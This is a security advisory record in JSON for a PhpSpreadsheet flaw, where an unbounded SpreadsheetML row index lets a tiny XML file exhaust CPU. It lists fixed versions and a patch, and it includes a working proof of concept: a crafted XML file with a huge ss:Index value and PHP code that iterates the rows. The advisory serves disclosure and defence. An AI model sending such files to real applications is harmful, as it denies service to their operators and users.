{"id":"CVE-2026-40863","kind":"vulnerability","aliases":["CVE-2026-40863","GHSA-84wq-86v6-x5j6"],"related":[],"title":"PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader","description":"## Summary\n\nThe SpreadsheetML XML reader (`Reader\\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index=\"999999999\"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements:\n\n```php\n// Xml.php:397-402\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW\n}\nif (isset($row_ss['Hidden'])) {\n    $rowVisible = ((string) $row_ss['Hidden']) !== '1';\n    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);\n}\n```\n\nThe `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`:\n\n```php\n// Worksheet.php:1342-1351\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this->rowDimensions[$row])) {\n        $this->rowDimensions[$row] = new RowDimension($row);\n        $this->cachedHighestRow = max($this->cachedHighestRow, $row);\n    }\n    return $this->rowDimensions[$row];\n}\n```\n\nThis inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`.\n\nThe `RowIterator` constructor uses `getHighestRow()` as its default end row:\n\n```php\n// RowIterator.php:84-88\npublic function resetEnd(?int $endRow = null): static\n{\n    $this->endRow = $endRow ?: $this->subject->getHighestRow();\n    return $this;\n}\n```\n\nWith `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells.\n\nEven without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability.\n\n## PoC\n\n1. Create `poc.xml`:\n```xml\n<?xml version=\"1.0\"?>\n<?mso-application progid=\"Excel.Sheet\"?>\n<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\">\n <Worksheet ss:Name=\"Sheet1\">\n  <Table>\n   <Row ss:Index=\"999999999\" ss:Hidden=\"1\"/>\n   <Row><Cell><Data ss:Type=\"String\">test</Data></Cell></Row>\n  </Table>\n </Worksheet>\n</Workbook>\n```\n\n2. Load and iterate:\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xml');\n$spreadsheet = $reader->load('poc.xml');\n$sheet = $spreadsheet->getActiveSheet();\n\necho \"Highest row: \" . $sheet->getHighestRow() . \"\\n\";\n// Outputs: Highest row: 1000000000\n\n// This loop will attempt ~1 billion iterations → CPU exhaustion\nforeach ($sheet->getRowIterator() as $row) {\n    // Never completes\n}\n```\n\n## Impact\n\nAny PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:\n\n- Exhausting server CPU with a single small XML file (~300 bytes)\n- Blocking the PHP worker process, potentially affecting all concurrent users\n- Triggering PHP max_execution_time limits that still consume resources before killing the process\n\nThe attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.\n\n## Recommended Fix\n\nAdd MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`:\n\n```php\n// After line 398:\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index'];\n    if ($rowID > AddressRange::MAX_ROW) {\n        $rowID = AddressRange::MAX_ROW;\n    }\n}\n```\n\nAdd the necessary import at the top of the file:\n```php\nuse PhpOffice\\PhpSpreadsheet\\Cell\\AddressRange;\n```\n\nThe same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension.","summary":"PhpSpreadsheet's XML reader accepts an unbounded row index in a SpreadsheetML file, so a roughly 300-byte upload inflates the sheet's highest row to about one billion. Iterating that sheet then consumes CPU until the request is killed, denying service to the application.","severity":"high","cvss":7.5,"epss":0.00395,"exploited":false,"exploited_at":null,"products":[{"name":"phpoffice/phpspreadsheet","fixed":["5.7.0"],"affected":">= 4.0.0, <= 5.6.0","ecosystem":"composer"},{"name":"phpoffice/phpspreadsheet","fixed":["3.10.5"],"affected":">= 3.3.0, <= 3.10.4","ecosystem":"composer"},{"name":"phpoffice/phpspreadsheet","fixed":["2.4.5"],"affected":">= 2.2.0, <= 2.4.4","ecosystem":"composer"},{"name":"phpoffice/phpspreadsheet","fixed":["2.1.16"],"affected":">= 2.0.0, <= 2.1.15","ecosystem":"composer"},{"name":"phpoffice/phpspreadsheet","fixed":["1.30.6"],"affected":"<= 1.30.5","ecosystem":"composer"},{"name":"phpoffice phpspreadsheet","fixed":["1.30.4"],"affected":"< 1.30.4","ecosystem":"vendor"},{"name":"phpoffice phpspreadsheet","fixed":["2.1.16"],"affected":">= 2.0.0, < 2.1.16","ecosystem":"vendor"},{"name":"phpoffice phpspreadsheet","fixed":["2.4.5"],"affected":">= 2.2.0, < 2.4.5","ecosystem":"vendor"},{"name":"phpoffice phpspreadsheet","fixed":["3.10.5"],"affected":">= 3.3.0, < 3.10.5","ecosystem":"vendor"},{"name":"phpoffice phpspreadsheet","fixed":["5.7.0"],"affected":">= 4.0.0, < 5.7.0","ecosystem":"vendor"}],"ecosystems":["composer","vendor"],"tags":["composer","cwe-400","cwe-770","package","php","phpspreadsheet","self-hosted"],"not_affected_if":["no-xml-reader-use","trusted-input-only"],"how_to_check":"- Run `composer show phpoffice/phpspreadsheet` and compare the installed version to the affected ranges.\n- Search the codebase for `Reader\\Xml` or `IOFactory::createReader('Xml')` to see whether SpreadsheetML files from users are loaded.","fix":"- Upgrade phpoffice/phpspreadsheet to `5.7.0` on the 5.x line, `3.10.5` on 3.x, `2.4.5` on 2.x, `2.1.16` on 2.1, or `1.30.6` on 1.x.\n- Until upgraded, reject or do not load user-supplied SpreadsheetML XML files.","status":"open","published_at":"2026-04-29T20:23:27+00:00","first_seen_at":"2026-10-26T20:56:17+00:00","triaged_at":"2026-10-26T21:08:30+00:00","updated_at":"2026-10-26T21:20:32+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T21:08:30Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade phpoffice/phpspreadsheet to `5.7.0` on the 5.x line, `3.10.5` on 3.x, `2.4.5` on 2.x, `2.1.16` on 2.1, or `1.30.6` on 1.x.\n- Until upgraded, reject or do not load user-supplied SpreadsheetML XML files.","reach":"internet","title":"PhpSpreadsheet: crafted SpreadsheetML XML file exhausts server CPU","impact":"low","summary":"PhpSpreadsheet's XML reader accepts an unbounded row index in a SpreadsheetML file, so a roughly 300-byte upload inflates the sheet's highest row to about one billion. Iterating that sheet then consumes CPU until the request is killed, denying service to the application.","category":"package","nicknames":[],"who_cares":["php","phpspreadsheet","composer","self-hosted"],"confidence":0.8,"needs_auth":"no","worst_case":"Server CPU exhausted by one crafted upload, blocking PHP workers.","analyst_note":"","how_to_check":"- Run `composer show phpoffice/phpspreadsheet` and compare the installed version to the affected ranges.\n- Search the codebase for `Reader\\Xml` or `IOFactory::createReader('Xml')` to see whether SpreadsheetML files from users are loaded.","needs_analyst":false,"not_affected_if":["no-xml-reader-use","trusted-input-only"],"who_is_affected":"Applications that pass user-uploaded or otherwise untrusted SpreadsheetML XML files (Excel 2003 XML format) to PhpSpreadsheet's XML reader are exposed. Applications that only read XLSX or other formats, or that never process untrusted files, can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.000862,"input_tokens":5328,"output_tokens":659,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-1351':238C '-2026':16A,24A '-400':43B '-402':181C '-40863':17A,25A '-770':45B '-88':308C '048':122C '1':121C,145C,161C,207C,327C,378C,425C '1000000000':420C '2':388C '300':68B,470C '398':533C '412':278C,364C '576':123C '84wq':20A '86v6':21A '999999999':135C 'abil':503C 'accept':56B 'add':518C,553C 'addit':275C 'addressrang':118C,546C,550C 'affect':478C 'allow':115C 'also':293C 'applic':96B,384C,440C,509C 'attack':125C,272C,454C,497C 'attacker-control':271C 'attempt':158C,424C 'attribut':111C,350C,369C,527C 'authent':500C 'billion':80B,146C,162C,328C,426C 'block':472C 'bound':228C 'byte':69B,471C 'cachedhighestrow':143C,257C,260C,268C,295C,325C 'call':149C,289C 'cast':222C 'caus':164C,332C,456C,507C 'cell':345C,352C 'cellrang':279C 'check':229C 'columnid':280C 'complet':436C 'compos':41B 'concurr':480C 'construct':283C 'constructor':298C 'consum':85B,490C 'control':273C 'count':117C 'cpu':3A,86B,165C,333C,428C,463C 'craft':127C,513C 'creat':379C 'createnewcel':290C 'createread':402C 'cve':15A,23A 'cwe':42B,44B 'data':353C 'default':303C 'defaultreadfilt':336C 'deni':92B 'denial':4A,168C,457C 'detail':171C 'echo':411C 'element':138C,178C 'end':155C,304C 'endrow':313C,317C,318C 'even':346C 'excel.sheet':386C 'execut':485C 'exhaust':166C,334C,429C,461C 'explicit':154C 'file':64B,131C,448C,469C,515C 'fix':517C 'foreach':430C 'function':240C,310C 'getactivesheet':209C,410C 'getcel':287C 'gethighestrow':300C,321C,415C 'getrowdimens':210C,235C,241C 'getrowiter':151C,432C 'ghsa':19A 'ghsa-84wq-86v6-x5j6':18A 'hidden':201C,206C,349C,368C 'highest':75B,412C,418C 'host':51B 'impact':437C 'import':556C 'index':10A,60B,109C,134C,186C,191C,220C,526C,538C,543C 'inflat':71B,140C,267C,360C 'int':188C,224C,242C,312C,540C 'intern':142C 'iofactori':399C,401C 'isset':183C,198C,246C,535C 'iter':81B,160C,329C,391C,427C 'kill':91B,493C 'limit':487C 'line':277C,363C,532C 'load':389C,406C 'loadspreadsheetfromfil':175C 'loop':422C 'max':119C,195C,258C,484C,519C,547C,551C 'maximum':114C 'method':176C 'mso':383C 'mso-appl':382C 'n':416C 'necessari':555C 'never':435C 'new':253C 'null':314C 'one':79B 'output':417C 'packag':46B 'pass':233C,285C 'php':47B,179C,236C,306C,392C,393C,439C,474C,483C,530C 'phpoffic':397C 'phpoffice':31A,33A,35A,37A,39A 'phpoffice/phpspreadsheet':26A,27A,28A,29A,30A 'phpspreadsheet':1A,32A,34A,36A,38A,40A,48B,52B,398C,450C 'poc':377C 'poc.xml':380C,407C 'potenti':477C 'process':177C,442C,476C,495C,511C 'progid':385C 'protect':339C 'provid':337C 'public':239C,309C 'read':217C,523C 'reader':14A,55B,101C,102C,400C,405C 'recommend':516C 'request':89B 'requir':372C,394C,498C 'resetend':311C 'resourc':491C 'return':262C,322C,341C 'rough':67B 'row':9A,59B,76B,110C,116C,120C,156C,163C,184C,189C,196C,199C,204C,243C,249C,252C,255C,261C,265C,305C,331C,356C,413C,419C,434C,520C,536C,541C,548C,552C 'rowdimens':244C,248C,251C,254C,264C 'rowid':187C,211C,215C,281C,361C,539C,545C,549C 'rowiter':297C 'rowiterator.php:84':307C 'rowvis':202C,213C 'self':50B 'self-host':49B 'server':462C 'servic':6A,93B,170C,459C 'set':294C 'setvis':212C 'sheet':73B,83B,408C,414C,431C 'singl':466C 'small':467C 'spreadsheet':208C,404C,409C 'spreadsheetml':12A,63B,99C,129C,446C,514C 'src/phpspreadsheet/reader/xml.php':173C,529C 'ss':108C,133C,185C,190C,200C,205C,219C,367C,525C,537C,542C 'static':315C 'still':357C,489C 'string':203C 'subject':320C 'subsequ':148C 'summari':97C 'test':387C 'time':486C 'top':559C 'trigger':374C,482C 'true':342C 'unbound':8A,58B 'upload':70B,445C,505C 'upper':227C 'use':299C,358C,396C,449C 'user':444C,481C 'user-upload':443C 'valid':106C,193C,521C 'valu':216C,274C 'vendor/autoload.php':395C 'via':7A 'vulner':376C,452C 'within':354C 'without':152C,347C 'worker':475C 'worksheet.php:1294':291C 'worksheet.php:1342':237C 'x5j6':22A 'xml':13A,54B,100C,103C,130C,381C,403C,447C,468C 'xml.php:397':180C","nicknames":[],"mitigations":[],"who_affected":"Applications that pass user-uploaded or otherwise untrusted SpreadsheetML XML files (Excel 2003 XML format) to PhpSpreadsheet's XML reader are exposed. Applications that only read XLSX or other formats, or that never process untrusted files, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-04-29T20:23:27+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-84wq-86v6-x5j6","url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","severity":"high","published_at":"2026-04-29T20:23:27+00:00","modified_at":"2026-10-26T20:53:09+00:00","first_seen_at":"2026-10-26T20:56:17+00:00","fetched_at":"2026-10-26T20:56:17+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-40863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40863","severity":null,"published_at":"2026-05-12T22:16:33+00:00","modified_at":"2026-10-26T18:10:00+00:00","first_seen_at":"2026-10-26T21:20:32+00:00","fetched_at":"2026-10-26T21:20:32+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}